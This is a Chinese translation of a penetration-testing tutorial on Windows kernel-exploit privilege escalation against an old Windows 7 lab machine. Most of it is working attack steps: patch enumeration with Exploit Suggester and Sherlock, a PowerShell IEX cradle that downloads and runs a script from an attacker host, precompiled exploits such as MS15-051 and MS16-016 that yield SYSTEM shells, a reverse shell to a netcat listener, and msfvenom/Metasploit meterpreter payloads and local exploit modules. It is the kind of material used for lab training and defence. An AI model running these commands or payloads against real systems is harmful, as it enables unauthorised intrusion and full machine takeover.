本文通过 Google 翻译 Kernel Exploits Part 1 -- Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 旧版 Windows 系统内核利用](#1 旧版 Windows 系统内核利用)
- [2 搜寻内核漏洞](#2 搜寻内核漏洞)
- [2.1 枚举内核利用 - 手动](#2.1 枚举内核利用 - 手动)
- [2.2 枚举内核利用 - 自动](#2.2 枚举内核利用 - 自动)
- [2.2.1 Windows Exploit Suggester 2](#2.2.1 Windows Exploit Suggester 2)
- [2.2.2 Sherlock.ps1](#2.2.2 Sherlock.ps1)
- [3 使用内核利用](#3 使用内核利用)
- [3.1 使用内核利用 - GUI](#3.1 使用内核利用 - GUI)
- [3.2 使用内核利用 - Reverse Shell](#3.2 使用内核利用 - Reverse Shell)
- [4 通过 Metasploit 查找及使用内核利用](#4 通过 Metasploit 查找及使用内核利用)
0、前言
由于 Windows 内核利用的信息量比较大,故将本篇文章分成了两个部分。
在第一部分内容中,我们将介绍如何在旧版 Windows 系统中进行内核利用。
我们从打了最少补丁的 Windows 7 机器开始测试,然后使用各种检测内核利用的方法去枚举它容易受到哪些内核漏洞的攻击。在找到潜在漏洞后,我们将测试相应的漏洞利用,看看它们是如何工作的。在测试漏洞利用期间,我们将看到 6 个测试示例,它们展示了如何从 GUI、从反向 shell 和使用 Metasploit 的方式去提升普通权限到 SYSTEM。
注:文中出现了较多的"内核漏洞"和"内核利用"等字眼,因此有必要搞清二者之间的关系。其实内核利用是内核漏洞的实例,漏洞 是一个概念,漏洞利用是实践。
1、旧版 Windows 系统内核利用
Windows 内核利用按照 OS 版本又可以分为两个类:旧版 Windows 系统、新版 Windows 系统。其中 Windows 10/Server 2016/Server 2019/ 其它更新版本 都称为新版 Windows 系统,而在此之前的 Windows XP/7/Server 2008/Server 2012/其它更旧版本 都称为旧版 Windows 系统。
对于本文,我们将研究旧版 Windows 系统的内核利用,测试机器是仅安装了一个补丁的 Windows 7 SP1 7601。
2、搜寻内核漏洞
在此示例中,假设我们已经在 Windows 7 机器上获得了标准用户 bob 的身份。

2.1、枚举内核利用 - 手动
在枚举内核漏洞利用前,我们首先要做的是使用 systeminfo 命令查看系统的信息,其中重点关注 **操作系统版本、架构,以及最关键 HotFixes(KB)**这些信息。

从上面可以看到,该主机是 Windows 7 Pro -- SP1 7601 -- x86 (32-bit) 系统,同时该主机只有一个补丁。
为了收集有关补丁的更多信息,可以使用以下 wmic 命令:
cmd
wmic qfe get Caption,Description,HotFixID,InstalledOn

由于微软给每个内核漏洞都起了一个名称作为标识,而名称中又包括发现漏洞的年份,因此补丁的发布日期很值得注意。【例如 MS10-059(2010)表示该漏洞是在 2010 年的第 59 个安全公告中发布的,而该公告确切的发布时间是2010年8月10日。】
注意:补丁的发布日期 和通过 wmic 发现的补丁安装时间可不是同一回事,作者的意思应该是根据补丁 KB 号码去查找该补丁实际的发布时间,然后根据这个时间去排除这个日期范围内的内核漏洞利用程序【因为补丁和漏洞的披露通常来说是先发补丁后发漏洞或同时发布,当然这也不绝对。】。例如,补丁如果是2000年发布的,那么2000年之后的系统漏洞就是可以被利用的。当然如果补丁的安装时间是在2000年,那么这个漏洞肯定是在2000年或2000年之前发布的,那么使用2000年之后的漏洞大概率也是有效的。
从这里,我们可以开始分析系统安装有哪些补丁,然后搜索 KB 号,以确定由于该补丁而无法使用的内核利用。
这种手动枚举的方式对于安装了少量的补丁来说,效果很好。但是,如果安装了几百个补丁, 那手工的方式显然就不再适合了。
2.2、枚举内核利用 - 自动
有两个工具可以很好地枚举旧版 Windows 系统的内核利用,第一个是Windows Exploit Suggester 2,第二个是 sherlock.ps1。
这两种工具的工作原理都是将受害者已安装的补丁与这些补丁库中已打补丁的漏洞列表进行交叉引用。以此为基础,这些工具将从输出中排除已打补丁的漏洞,只提供主机未打补丁的漏洞。
在测试内核利用时,使用自动工具有助于消除大部分猜测。【注:当然工具也会存在遗漏的情况。】
2.2.1、Windows Exploit Suggester 2
使用的第一个工具是 Windows Exploit Suggester 2,它是一个 Python 脚本。在攻击者机器上使用此脚本前,我们需要先获取受害者机器上的 systeminfo 系统信息,以及补丁库的文件。

现在,我们已经准备好了受害者的系统信息 txt 文件,还可以更新补丁库 XLS 文件,以确保补丁列表是最新的。不过,由于这是一个只安装了一个补丁的旧操作系统,因此不需要更新补丁库文件,因为 2021 年 4 月前的补丁库已经足够满足当前的需要了。
可以使用以下命令运行 Windows Exploit Suggester:
bash
./windows-exploit-suggester.py --database 2021-04-16-mssb.xls --systeminfo win7.txt

输出内容有很多,但大部分信息对我们来说并没有用。同时,该工具还提供了一个标识说明(E|M|*),以告诉我们对应的系统漏洞是否有二进制或 Metasploit 模块可供使用。
于是,我们就可以根据提供的标识进行内容过滤,让其只筛选出我们感兴趣的信息,这些信息通常包含有 [M]或[E]或"Elevation of privileges"字段。
bash
./windows-exploit-suggester.py --database 2021-04-16-mssb.xls --systeminfo win7.txt | grep "\[M\]\|\[E\]" | grep "Elevation"

最终,我们得到了一个可供测试的漏洞清单。
2.2.2、Sherlock.ps1
Sherlock 是一个 PowerShell 脚本,可快速找到用于本地特权提升的漏洞利用。
Sherlock(夏洛克)已经被弃用大约 5 年了,并且也是从那时起就被Watson.exe(华生)所取代,Watson.exe 是一个用于枚举新版 Windows OS'(10/2016/2019)的工具,我们将在这篇文章的第二部分中看到它。
回到 Sherlock,我们可以利用 Sherlock 在旧版 Windows 系统上枚举内核漏洞。而当前正处在 Windows 7 机器上,因此这个工具对我们来说非常适合。
现在,在 Sherlock.ps1 脚本底部附加以下命令,以便脚本的枚举漏洞功能可以被自动执行:
bash
echo "Find-AllVulns" >> Sherlock.ps1

Perfect!现在,我们可以将 sherlock.ps1 下载到受害者磁盘上,然后执行该脚本。或者可以开启 HTTP 服务器,然后将脚本直接下载到内存中进行执行。
我们使用后一种,先在攻击机开启 HTTP 服务器:
bash
python3 -m http.server 80
然后在受害者机器上,执行以下 IEX 命令将脚本从攻击者计算机直接下载到内存中执行:
cmd
powershell.exe -c "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Sherlock.ps1')"

Sherlock 会根据已安装的补丁程序,提取所有可能存在的漏洞。同时,它还会进一步告诉你系统是否容易受到该漏洞的攻击。
3、使用内核利用
现在,我们已经知道了该如何枚举内核漏洞利用,接下来就可以根据枚举出来的漏洞利用去该仓库查找可用的利用程序以进行测试。
在内核利用列表中,你会发现大多数利用程序都会以 SYSTEM 的身份生成一个新的 cmd.exe 实例。虽然这很好,但只有我们在 GUI 图形化界面来查看 shell 的情况下才实用。但幸运的是,很多利用都支持"就地"提升或产生反向 shell,因此在实际测试这些利用时会同时展示这两种情况。
现在,让我们通过图形化界面和反向 shell 测试一些漏洞,看看两者有什么不同。
3.1、使用内核利用 - GUI
假设我们在最初的枚举中找到了用户 bob 的凭据,同时发现 RDP 开放且bob 还是远程桌面用户组的一部分。然后,我们成功地通过 RDP 访问了该主机。
由于在内核利用列表上的大多数利用程序都会产生 cmd.exe 的新实例,因此当我们可以使用主机的图形化界面时,内核利用会非常简单。
【示例0】例如,从 Suggester 和 Sherlock 的输出来看,同时在两款工具中都出现的漏洞有 MS15-051 和 MS16-016。
因此,我们可以在内核利用列表中优先检查它俩是否被列出。

可以看到,两个漏洞都被列出了。现在,让我们只下载 MS15-051 然后将其发送给受害者。
MS15-051 的预编译二进制文件被称为 Taihou32.exe,但在将其转移给受害者之前,我先将其重命名为 MS15-051.exe。

现在,当运行可执行文件时,新的 shell 以 SYSTEM 身份产生了!

就这么简单!
3.2、使用内核利用 - Reverse Shell
上面我们只是看到了如何轻松地从 GUI 获得 SYSTEM shell,但通常我们是没有 GUI 访问权限的。
幸运的是,有不少漏洞利用程序可以通过反向 shell 运行,或"就地"提升至 SYSTEM。这意味着漏洞利用者可以在当前会话中直接升级到 SYSTEM,而无需再生成第二个 cmd 窗口。
【示例1】首先,让我们检查一下在 Sherlock 和 Suggester 上出现的第二个漏洞:MS16-016。
我们先获取此利用程序,然后将其传输到受害者机器上。

MS16-016 的预编译二进制文件被称为 eop.exe,但在将其转移给受害者之前,我先将其重命名为 MS16-016.exe。
需要注意的是,MS16-016 二进制程序是需要 ShellCode.dll 文件才能工作。因此,我们要将两个文件转移到受害者机器。

现在,我们可以执行 MS16-016.exe。

Amazing!在当前的会话中,我们得到了一个 SYSTEM shell。
由于我们对这种内核漏洞利用(即"就地"提升)最感兴趣,所以让我们再看看另外两种内核漏洞利用,它们也可以被用来做同样的事情。
这次,我们将看到一个在 Sherlock 和 Suggester 扫描中均未出现的漏洞,它就是:MS11-046。
**既然该漏洞没有在任何一种工具的输出中出现,那为什么还要去尝试一下呢?**因为我们可以看到,当运行 wmic 命令时,已安装日期显示的是 2010年11月,也就是说这个补丁在2010年11月前就已经发布了,这也意味着任何等于或大于 MS11 的漏洞利用都值得我们去尝试。【注:根据补丁安装日期去判断漏洞的做法虽然不是很准确,但在无有效解法之前也是值得去尝试的。】
【示例2】因此,让我们测试它!


BOOM!我们得到了另外一个 SYSTEM shell。
【示例3】接下来,我们开始另一个例子。可以看到,在 Suggester 的输出中显示 MS14-040.exe 可以被使用。

当执行这个利用的时候,它会被挂起。当我们等待大约 20 秒,然后按两次回车键,就会得到 SYSTEM shell。

【示例4】最后一个例子在当前这台 win7 机器上不存在漏洞,但它也是一个很好的内核漏洞,那就是 MS10-059 或 "Chimichurri"。
注:下面的示例是在 hackthebox 的盒子上进行的。
将漏洞利用程序传输给受害者之后,我们可以尝试直接运行它以查看其命令用法:

这个利用程序会向攻击者的机器推送一个反向 shell,这与我们刚才看到的"就地"提升示例有些不同。这意味着我们需要在攻击者机器上启动一个 netcat 监听器。
cmd
.\MS10-059.exe 10.10.14.6 9999

执行命令后会出现一条很令人高兴的提示信息。然后回到监听器后,我们收到了一个 SYSTEM shell!

我给你举了 4 个例子,但还有很多从反向 shell 运行的例子需要你自己去发现去测试🙂。提示:在内核利用列表中的漏洞利用程序有时候会附带工具使用截图,我们可以从截图中看出该漏洞利用是不是以反向 shell 的方式去使用的。
4、通过 Metasploit 查找及使用内核利用
【示例5】Metasploit 是通过内核利用来提升权限的绝佳工具。
借助 Metasploit,我们可以使用其内置的本地漏洞利用建议模块(Local Exploit Suggester)来列举潜在可用的内核利用。之后,我们就可以在 Metasploit 中逐一去测试它们,因为它显示出来的漏洞利用都是在 Metasploit 中实际存在的模块。
要升级当前我们获得的立足点的 cmd shell 到 Meterpreter shel,我们可以快速生成一个有效载荷,然后将其转移给受害者,例如:
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x86 --platform Windows -f exe -o meter86.exe

接下来,我们需要在 Metasploit 中启动一个 multi-handler 监听器:
bash
msfconsole -q -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"

然后在受害者机器上执行该载荷。

最后,回到 multi-handler 监听器,可以看到有一个 meterpreter shell 产生了。

新产生的 meterpreter 的会话编号是 1,这很重要,我们需要记住这个编号。
从这里开始,我们需要使用以下命令来加载 Local Exploit Suggester 模块。
bash
background
search suggester
use 0
set SESSION 1
exploit

大约 30 秒后,Metasploit 会列出我们可以用来对付这台主机的潜在内核漏洞利用。

现在,我们需要逐一对这些漏洞进行测试,直到获得 SYSTEM shell 为止。在这里,我们跳过测试 UAC 绕过和 MS10-XXX 相关的模块,直接从 MS13-053 模块开始测试。【注:这里主要优先以内核漏洞利用为主,所以 UAC 相关模块直接跳过;因为那个补丁的原因,所以我们知道 MS10-XXX 模块在这台机器上大概率是无法使用的,故直接跳过。】
对于所有这些漏洞利用模块,我们都需要设置 LHOST、LPORT 和 SESSION 字段。LPORT 必须不同于前面获取 Meterpreter 会话时使用的 443 端口。
Kitrap0d 是一个非常可靠的内核利用,但对于当前这台机器是无效的。
bash
use exploit/windows/local/ms13_053_schlamperei
set LHOST 172.16.1.30
set LPORT 8080
set SESSION 1
exploit

经过几次不断的尝试,我们最终成功获得了 SYSTEM shell!

对于 Suggester 为我们找到的大多数内核漏洞,只要它显示"The target appears to be vulnerable",那就很有可能会被成功提升到 SYSTEM。